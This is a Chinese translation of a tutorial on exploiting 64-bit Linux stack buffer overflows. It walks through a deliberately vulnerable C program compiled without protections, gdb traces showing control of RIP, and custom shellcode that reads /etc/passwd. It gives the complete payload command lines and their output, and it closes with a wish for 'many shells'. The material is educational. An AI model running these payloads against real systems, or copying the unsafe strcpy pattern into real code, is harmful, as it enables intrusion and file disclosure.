<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/2288

                    from:http://packetstormsecurity.com/files/download/127007/64bit-overflow.pdf


                    本文的目的是讓大家學到64位緩沖區溢出的基礎知識。 作者Mr.Un1k0d3r?RingZer0?Team

                    摘要

                    0x01?x86和x86_64的區別
                    0x02?漏洞代碼片段
                    0x03?觸發溢出
                    0x04?控制RIP
                    0x05?跳入用戶控制的緩沖區
                    0x06?執行shellcode
                    0x07?GDB?vs?現實
                    0x08?結語
                    

                    0x01?x86和x86_64的區別


                    第一個主要區別就是內存地址的大小。這沒啥可驚奇的:?不過即便內存地址有64位長用戶空間也只能使用前47位要牢記這點因為當你指定一個大于0x00007fffffffffff的地址時會拋出一個異常。那也就意味著0x4141414141414141會拋出異常而0x0000414141414141是安全的。當你在進行模糊測試或編寫利用程序的時候我覺得這是個很巧妙的部分。

                    事實上還有很多其他的不同但是考慮到本文的目的不了解所有的差異也沒關系。

                    0x02?漏洞代碼片段


                    #!cpp
                    int main(int argc, char **argv) { 
                          char buffer[256];
                          if(argc != 2) {
                                exit(0);
                          }
                          printf("%p\n", buffer);
                          strcpy(buffer,  argv[1]);
                          printf("%s\n", buffer);
                          return 0;
                    }
                    

                    為了節省漏洞利用的時間我決定打印緩沖區指針地址。

                    你可以用gcc編譯上述代碼。

                    #!bash
                    $ gcc -m64 bof.c -o bof -z execstack -fno-stack-protector
                    

                    這樣就一切妥當了。

                    0x03?觸發溢出


                    首先我們來確認一下確實可以讓這個進程崩潰。

                    #!cpp
                    $ ./bof $(python -c 'print "A" * 300')
                    0x7fffffffdcd0 
                    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
                    Segmentation fault (core dumped)
                    

                    好來確認一下我們控制的RIP指令指針

                    enter image description here

                    你可以通過stepi單步執行來過一遍程序流程譯者應該用ni比較合適。 當過了strcpy調用(0x40066c)之后你會發現當前緩沖區指針指向0x7fffffffdc90而不是0x7fffffffdcd0這是gdb的環境變量和其他東西造成的。不過現在我們不關心之后會解決的。 重要的說明* 在之后的內容中當我提到leave指令時就是指的上面的地址0x400685。 最后這是strcpy過后的棧

                    #!bash
                    (gdb)?x/20xg?$rsp 
                    0x7fffffffdc80:?0x00007fffffffde78?0x00000002f7ffe520 
                    0x7fffffffdc90:?0x4141414141414141?0x4141414141414141 
                    0x7fffffffdca0:?0x4141414141414141?0x4141414141414141 
                    0x7fffffffdcb0:?0x4141414141414141?0x4141414141414141 
                    0x7fffffffdcc0:?0x4141414141414141?0x4141414141414141 
                    0x7fffffffdcd0:?0x4141414141414141?0x4141414141414141 
                    0x7fffffffdce0:?0x4141414141414141?0x4141414141414141 
                    0x7fffffffdcf0:?0x4141414141414141?0x4141414141414141 
                    0x7fffffffdd00:?0x4141414141414141?0x4141414141414141 
                    0x7fffffffdd10:?0x4141414141414141?0x4141414141414141 
                    

                    接著主函數(main)中的leave指令把rsp指向0x7fffffffdd98。 棧就變成了這樣子

                    #!bash
                    (gdb)?x/20xg?$rsp 
                    0x7fffffffdd98:?0x4141414141414141?0x4141414141414141 
                    0x7fffffffdda8:?0x4141414141414141?0x4141414141414141 
                    0x7fffffffddb8:?0x0000000041414141?0x0000000000000000 
                    0x7fffffffddc8:?0xa1c4af9213d095db?0x0000000000400520 
                    0x7fffffffddd8:?0x00007fffffffde70?0x0000000000000000 
                    0x7fffffffdde8:?0x0000000000000000?0x5e3b506da89095db 
                    0x7fffffffddf8:?0x5e3b40d4af2a95db?0x0000000000000000 
                    0x7fffffffde08:?0x0000000000000000?0x0000000000000000 
                    0x7fffffffde18:?0x0000000000400690?0x00007fffffffde78 
                    0x7fffffffde28:?0x0000000000000002?0x0000000000000000 
                    (gdb)?stepi 
                    Program?received?signal?SIGSEGV,?Segmentation?fault.
                    

                    好極了我們有SIGSEGV的時機去查看當前寄存器的值。

                    #!bash
                    (gdb)?i?r 
                    rax?    0x0?    0 
                    rbx?    0x0?    0 
                    rcx?    0xffffffffffffffff??-1? 
                    rdx?    0x7ffff7dd59e0?140737351866848 
                    rsi?    0x7ffff7ff7000?140737354100736 
                    rdi?    0x1?    1 
                    rbp?    0x4141414141414141?0x4141414141414141 
                    rsp??   0x7fffffffdd98??0x7fffffffdd98 
                    r8?     0x4141414141414141?4702111234474983745 
                    r9?     0x4141414141414141?4702111234474983745 
                    r10?    0x4141414141414141?4702111234474983745 
                    r11?    0x246?582 
                    r12?    0x400520?4195616 
                    r13?    0x7fffffffde70?140737488346736 
                    r14?    0x0?    0 
                    r15??   0x0?    0 
                    rip?    0x400686?0x400686?<main+121> 
                    eflags? 0x10246? [?PF?ZF?IF?RF?] 
                    cs?     0x33?   51 
                    ss?     0x2b?   43 
                    ds?     0x0?    0 
                    es?     0x0?    0 
                    fs?     0x0?    0 
                    gs?     0x0?    0 
                    
                    (gdb)?stepi 
                    Program?terminated?with?signal?SIGSEGV,?Segmentation?fault. 
                    The?program?no?longer?exists. 
                    

                    好了程序就這樣結束了我們沒能控制RIP為什么因為我們覆蓋了太多位記得最大的地址是0x00007fffffffffff吧而我們嘗試用0x4141414141414141去溢出了。

                    0x04?控制RIP


                    我們發現了個小問題不過只要是問題總有辦法解決的我們可以用個小一點的緩沖區去溢出這樣指向rsp的地址就會像0x0000414141414141一樣了。 通過簡單的數學運算就可以很輕松地算出我們緩沖區的大小。我們知道緩沖區開始于0x7fffffffdc90。Leave指令之后rsp將指向0x7fffffffdd98。

                    0x7fffffffdd98?-?0x7fffffffdc90?=?0x108?->?十進制的264
                    

                    知道了這些我們可以把溢出載荷修改成這樣

                    "A"?*?264?+?"B"?*?6
                    

                    rsp指向的地址應該像0x0000424242424242一樣正常了。那樣就能控制RIP。

                    #!bash
                    $?gdb?-tui?bof 
                    (gdb)?set?disassembly-flavor?intel 
                    (gdb)?layout?asm 
                    (gdb)?layout?regs 
                    (gdb)?break?main 
                    (gdb)?run?$(python?-c?'print?"A"?*?264?+?"B"?*?6') 
                    

                    這次我們直接看調用leave指令后的狀況。 這是leave指令執行后的棧

                    #!bash
                    (gdb)?x/20xg?$rsp 
                    0x7fffffffddb8:?0x0000424242424242?0x0000000000000000 
                    0x7fffffffddc8:?0x00007fffffffde98?0x0000000200000000 
                    0x7fffffffddd8:?0x000000000040060d?0x0000000000000000 
                    0x7fffffffdde8:?0x2a283aca5f708a47?0x0000000000400520 
                    0x7fffffffddf8:?0x00007fffffffde90?0x0000000000000000 
                    0x7fffffffde08:?0x0000000000000000?0xd5d7c535e4f08a47 
                    0x7fffffffde18:?0xd5d7d58ce38a8a47?0x0000000000000000 
                    0x7fffffffde28:?0x0000000000000000?0x0000000000000000 
                    0x7fffffffde38:?0x0000000000400690?0x00007fffffffde98 
                    0x7fffffffde48:?0x0000000000000002?0x0000000000000000 
                    

                    這是leave指令執行后寄存器的值

                    #!bash
                    (gdb)?i?r 
                    rax?    0x0?    0 
                    rbx?    0x0?    0 
                    rcx?    0xffffffffffffffff??-1 
                    rdx???  0x7ffff7dd59e0?140737351866848 
                    rsi?    0x7ffff7ff7000?140737354100736 
                    rdi?    0x1?    1 
                    rbp?    0x4141414141414141?0x4141414141414141 
                    rsp??   0x7fffffffddb8??0x7fffffffddb8 
                    r8?     0x4141414141414141?4702111234474983745 
                    r9?     0x4141414141414141?4702111234474983745 
                    r10?    0x4141414141414141?4702111234474983745 
                    r11?    0x246?r12?0x400520?4195616 
                    r13?    0x7fffffffde90?140737488346768 
                    r14???? 0x0?    0 
                    r15?    0x0?    0 
                    rip?    0x400686?0x400686?<main+121>? 
                    eflags? 0x246?[?PF?ZF?IF?] 
                    cs?     0x33?   51 
                    ss?     0x2b?   43 
                    ds?     0x0?    0 
                    es?     0x0?    0 
                    fs?     0x0???? 0 
                    gs?     0x0?    0 
                    

                    rsp指向0x7fffffffddb8而0x7fffffffddb8的內容就是0x0000424242424242。看來一切正常是時候執行ret指令了。

                    #!bash
                    (gdb)?stepi 
                    Cannot?access?memory?at?address?0x424242424242 
                    Cannot?access?memory?at?address?0x424242424242 
                    (gdb)?i?r 
                    rax?    0x0?    0 
                    rbx?    0x0?    0 
                    rcx?    0xffffffffffffffff??-1 
                    rdx?    0x7ffff7dd59e0?140737351866848 
                    rsi?    0x7ffff7ff7000?140737354100736 
                    rdi?    0x1?    1 
                    rbp?    0x4141414141414141???0x4141414141414141 
                    rsp??   0x7fffffffddc0??0x7fffffffddc0 
                    r8?     0x4141414141414141?4702111234474983745 
                    r9?     0x4141414141414141?4702111234474983745 
                    r10?    0x4141414141414141?4702111234474983745 
                    r11???? 0x246?  582 
                    r12?    0x400520?4195616 
                    r13?    0x7fffffffde90?140737488346768 
                    r14?    0x0?    0 
                    r15?    0x0?    0 
                    rip??   0x424242424242??0x424242424242 
                    eflags? 0x246?[?PF?ZF?IF?] 
                    cs?     0x33????51 
                    ss?     0x2b?   43 
                    ds?     0x0?    0 
                    es?     0x0?    0 
                    fs?     0x0?    0 
                    gs?     0x0?    0 
                    

                    我們最終控制了rip

                    0x05?跳入用戶控制的緩沖區


                    事實上這部分內容沒什么特別的或者新的東西你只需要指向你控制的緩沖區開頭。也就是第一個printf顯示出來的值在這里是0x7fffffffdc90。通過gdb也可以很容易地重新獲得這個值你只需在調用strcpy之后顯示棧。

                    #!bash
                    (gdb)?x/4xg?$rsp 
                    0x7fffffffdc80:?0x00007fffffffde98?0x00000002f7ffe520 
                    0x7fffffffdc90:?0x4141414141414141?0x4141414141414141 
                    

                    是時候更新我們的載荷了。新的載荷看起來像這樣

                    "A"?*?264?+?"\x7f\xff\xff\xff\xdc\x90"[::-1] 
                    

                    因為是小端結構所以我們需要把內存地址反序。這就是python語句[::-1]所實現的。

                    確認下我們跳入正確的地址。

                    #!bash
                    $?gdb?-tui?bof 
                    (gdb)?set?disassembly-flavor?intel 
                    (gdb)?layout?asm 
                    (gdb)?layout?regs 
                    (gdb)?break?main 
                    (gdb)?run?$(python?-c?'print?"A"?*?264?+? 
                    "\x7f\xff\xff\xff\xdc\x90"[::-1]') 
                    (gdb)?x/20xg?$rsp 
                    0x7fffffffddb8:?0x00007fffffffdc90??0x0000000000000000 
                    0x7fffffffddc8:?0x00007fffffffde98?0x0000000200000000 
                    0x7fffffffddd8:?0x000000000040060d?0x0000000000000000 
                    0x7fffffffdde8:?0xe72f39cd325155ac?0x0000000000400520 
                    0x7fffffffddf8:?0x00007fffffffde90?0x0000000000000000 
                    0x7fffffffde08:?0x0000000000000000?0x18d0c63289d155ac 
                    0x7fffffffde18:?0x18d0d68b8eab55ac?0x0000000000000000 
                    0x7fffffffde28:?0x0000000000000000?0x0000000000000000 
                    0x7fffffffde38:?0x0000000000400690?0x00007fffffffde98 
                    0x7fffffffde48:?0x0000000000000002?0x0000000000000000 
                    

                    這是執行leave指令后的棧。如我們所知rsp指向0x7fffffffddb8。0x7fffffffddb8的內容是0x00007fffffffdc90。最后0x00007fffffffdc90指向我們控制的緩沖區。

                    (gdb)?stepi 
                    

                    ret指令執行后rip指向0x7fffffffdc90這意味著我們跳入了正確的位置。

                    0x06?執行shellcode


                    在這個例子中我準備用個定制的shellcode去讀/etc/passwd的內容。

                    #!bash
                    BITS?64 
                    ;?Author?Mr.Un1k0d3r?-?RingZer0?Team 
                    ;?Read?/etc/passwd?Linux?x86_64?Shellcode 
                    ;?Shellcode?size?82?bytes 
                    global?_start 
                    section?.text 
                    _start: 
                        jmp?_push_filename 
                    
                    _readfile: 
                        ;?syscall?open?file 
                        pop?rdi???;?pop?path?value 
                        ;?NULL?byte?fix 
                        xor?byte?[rdi?+?11],?0x41 
                    
                        xor?rax,?rax 
                        add?al,?2 
                        xor?rsi,?rsi??;?set?O_RDONLY?flag 
                        syscall 
                    
                        ;?syscall?read?file 
                        sub?sp,?0xfff 
                        lea?rsi,?[rsp] 
                        mov?rdi,?rax 
                        xor?rdx,?rdx 
                        mov?dx,?0xfff???;?size?to?read 
                        xor?rax,?rax 
                        syscall 
                    
                        ;?syscall?write?to?stdout 
                        xor?rdi,?rdi 
                        add?dil,?1?;?set?stdout?fd?=?1 
                        mov?rdx,?rax 
                        xor?rax,?rax 
                        add?al,?1 
                        syscall 
                    
                        ;?syscall?exit 
                        xor?rax,?rax 
                        add?al,?60 
                        syscall 
                    
                    _push_filename: 
                        call?_readfile 
                        path:?db?"/etc/passwdA" 
                    

                    接下來匯編這個文件然后提取shellcode。

                    #!bash
                    $?nasm?-f?elf64?readfile.asm?-o?readfile.o 
                    $?for?i?in?$(objdump??-d?readfile.o?|?grep?"^?"?|?cut??-f2);?do?echo??-n? '\x'$i;?done;?echo 
                    \xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x6 
                    6\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x 
                    0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\ 
                    xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f 
                    \x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41 
                    

                    這個shellcode長82字節。來構造最終的載荷吧。

                    原來的載荷

                    #!bash
                    $(python?-c?'print?"A"?*?264?+?"\x7f\xff\xff\xff\xdc\x90"[::-1]') 
                    

                    我們要保證一樣的大小所以264?-?82?=?182

                    #!bash
                    $(python?-c?'print?"A"?*?182?+?"\x7f\xff\xff\xff\xdc\x90"[::-1]') 
                    

                    然后把shellcode接在開頭

                    #!bash
                    $(python?-c?'print? 
                    "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x 
                    66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\ 
                    x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31 
                    \xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2 
                    f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+? 
                    "\x7f\xff\xff\xff\xdc\x90"[::-1]') 
                    

                    來把所有東西一塊兒測試

                    #!bash
                    $?gdb?–tui?bof 
                    (gdb)?run?$(python?-c?'print? 
                    "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x 
                    66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\ 
                    x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31 
                    \xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2 
                    f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+? 
                    "\x7f\xff\xff\xff\xdc\x90"[::-1]') 
                    

                    如果一切正常你就會看到/etc/passwd的內容。要注意內存地址是可以變化的這樣可能就和我這里的不同了。

                    0x07?GDB?vs?現實


                    因為gdb會初始化一些變量和其他的東西所以如果你試著在gdb之外使用同樣的利用腳本就會失敗。不過在這個例子中我加了個對printf的調用來輸出緩沖區指針。這樣我們就可以很容易地找到正確的值并且在真實的環境中獲得地址。

                    這是使用我們在gdb中找到的值的真實版本

                    #!bash
                    $?./bof?$(python?-c?'print?"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31 
                    \xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34 
                    \x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05 
                    \x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f 
                    \x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74 
                    \x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+? 
                    "\x7f\xff\xff\xff\xdc\x90"[::-1]') 
                    0x7fffffffdcf0 
                    ?_w 
                    
                    [email protected]< 
                    /etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
                    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
                    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
                    AAAAAAAA? 
                    Illegal?instruction?(core?dumped) 
                    

                    很顯然利用不成功。因為地址已經從0x7fffffffdc90變成了0x7fffffffdcf0。幸好有這點printf的輸出我們只需用正確的值調整一下載荷。

                    #!bash
                    $?./bof?$(python?-c?'print?"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31 
                    \xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34 
                    \x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05 
                    \x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f 
                    \x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74 
                    \x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+? 
                    "\x7f\xff\xff\xff\xdc\xf0"[::-1]') 
                    0x7fffffffdcf0 
                    ?_w 
                    
                    [email protected]< 
                    /etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
                    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
                    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
                    AAAAA? 
                    root:x:0:0:root:/root:/bin/bash 
                    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
                    bin:x:2:2:bin:/bin:/usr/sbin/nologin 
                    sys:x:3:3:sys:/dev:/usr/sbin/nologin 
                    sync:x:4:65534:sync:/bin:/bin/sync 
                    games:x:5:60:games:/usr/games:/usr/sbin/nologin 
                    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
                    

                    換成正確的值之后利用一切正常。

                    0x08?結語


                    希望你們能喜歡這篇關于Linux下x86_64緩沖區溢出的文章,有很多關于x86溢出的文章了,但64位的溢出比較少見。

                    祝你們拿到好多好多shell!

                    感謝

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频